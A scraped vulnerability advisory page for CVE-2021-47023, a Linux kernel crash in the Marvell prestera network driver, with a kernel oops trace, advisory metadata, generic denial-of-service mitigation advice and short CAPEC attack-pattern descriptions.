x16: 000000008d9b0e88 [ 28.446898] x15: 0000000000000001 x14: 00000000000002ba [ 28.452261] x13: 80a3002c00000002 x12: 00000000000005f4 [ 28.457622] x11: 0000000000000030 x10: 000000000000000c [ 28.462985] x9 : 000000000000000c x8 : 0000000000000030 [ 28.468346] x7 : ffff800014400000 x6 : ffff000106119758 [ 28.473708] x5 : 0000000000000003 x4 : ffff00010775dc60 [ 28.479068] x3 : 0000000000000000 x2 : 0000000000000060 [ 28.484429] x1 : 000071775f776600 x0 : ffff00010775deb8 [ 28.489791] Call trace: [ 28.492259] get_work_pool+0x48/0x60 [ 28.495874] cancel_delayed_work+0x38/0xb0 [ 28.500011] prestera_port_handle_event+0x90/0xa0 [prestera] [ 28.505743] prestera_evt_recv+0x98/0xe0 [prestera] [ 28.510683] prestera_fw_evt_work_fn+0x180/0x228 [prestera_pci] [ 28.516660] process_one_work+0x1e8/0x360 [ 28.520710] worker_thread+0x44/0x480 [ 28.524412] kthread+0x154/0x160 [ 28.527670] ret_from_fork+0x10/0x38 [ 28.531290] Code: a8c17bfd d50323bf d65f03c0 9278dc21 (f9400020) [ 28.537429] ---[ end trace 5eced933df3a080b ]---
{
"affected": [],
"aliases": [
"CVE-2021-47023"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-28T09:15:39Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: marvell: prestera: fix port event handling on init\n\nFor some reason there might be a crash during ports creation if port\nevents are handling at the same time because fw may send initial\nport event with down state.\n\nThe crash points to cancel_delayed_work() which is called when port went\nis down. Currently I did not find out the real cause of the issue, so\nfixed it by cancel port stats work only if previous port\u0027s state was up\n\u0026 runnig.\n\nThe following is the crash which can be triggered:\n\n[ 28.311104] Unable to handle kernel paging request at virtual address\n000071775f776600\n[ 28.319097] Mem abort info:\n[ 28.321914] ESR = 0x96000004\n[ 28.324996] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 28.330350] SET = 0, FnV = 0\n[ 28.333430] EA = 0, S1PTW = 0\n[ 28.336597] Data abort info:\n[ 28.339499] ISV = 0, ISS = 0x00000004\n[ 28.343362] CM = 0, WnR = 0\n[ 28.346354] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000100bf7000\n[ 28.352842] [000071775f776600] pgd=0000000000000000,\np4d=0000000000000000\n[ 28.359695] Internal error: Oops: 96000004 [#1] PREEMPT SMP\n[ 28.365310] Modules linked in: prestera_pci(+) prestera\nuio_pdrv_genirq\n[ 28.372005] CPU: 0 PID: 1291 Comm: kworker/0:1H Not tainted\n5.11.0-rc4 #1\n[ 28.378846] Hardware name: DNI AmazonGo1 A7040 board (DT)\n[ 28.384283] Workqueue: prestera_fw_wq prestera_fw_evt_work_fn\n[prestera_pci]\n[ 28.391413] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--)\n[ 28.397468] pc : get_work_pool+0x48/0x60\n[ 28.401442] lr : try_to_grab_pending+0x6c/0x1b0\n[ 28.406018] sp : ffff80001391bc60\n[ 28.409358] x29: ffff80001391bc60 x28: 0000000000000000\n[ 28.414725] x27: ffff000104fc8b40 x26: ffff80001127de88\n[ 28.420089] x25: 0000000000000000 x24: ffff000106119760\n[ 28.425452] x23: ffff00010775dd60 x22: ffff00010567e000\n[ 28.430814] x21: 0000000000000000 x20: ffff80001391bcb0\n[ 28.436175] x19: ffff00010775deb8 x18: 00000000000000c0\n[ 28.441537] x17: 0000000000000000 x16: 000000008d9b0e88\n[ 28.446898] x15: 0000000000000001 x14: 00000000000002ba\n[ 28.452261] x13: 80a3002c00000002 x12: 00000000000005f4\n[ 28.457622] x11: 0000000000000030 x10: 000000000000000c\n[ 28.462985] x9 : 000000000000000c x8 : 0000000000000030\n[ 28.468346] x7 : ffff800014400000 x6 : ffff000106119758\n[ 28.473708] x5 : 0000000000000003 x4 : ffff00010775dc60\n[ 28.479068] x3 : 0000000000000000 x2 : 0000000000000060\n[ 28.484429] x1 : 000071775f776600 x0 : ffff00010775deb8\n[ 28.489791] Call trace:\n[ 28.492259] get_work_pool+0x48/0x60\n[ 28.495874] cancel_delayed_work+0x38/0xb0\n[ 28.500011] prestera_port_handle_event+0x90/0xa0 [prestera]\n[ 28.505743] prestera_evt_recv+0x98/0xe0 [prestera]\n[ 28.510683] prestera_fw_evt_work_fn+0x180/0x228 [prestera_pci]\n[ 28.516660] process_one_work+0x1e8/0x360\n[ 28.520710] worker_thread+0x44/0x480\n[ 28.524412] kthread+0x154/0x160\n[ 28.527670] ret_from_fork+0x10/0x38\n[ 28.531290] Code: a8c17bfd d50323bf d65f03c0 9278dc21 (f9400020)\n[ 28.537429] ---[ end trace 5eced933df3a080b ]---",
"id": "GHSA-7c8x-xjqv-r325",
"modified": "2024-08-01T15:31:28Z",
"published": "2024-02-28T09:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47023"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0ce6052802be2cb61a57b753e41301339c88c839"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/333980481b99edb24ebd5d1a53af70a15d9146de"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9d1ba11fabdd8f25abb24272ef1621417981320b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b5bba6ede42693f50ce1c9944315cefed7491061"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.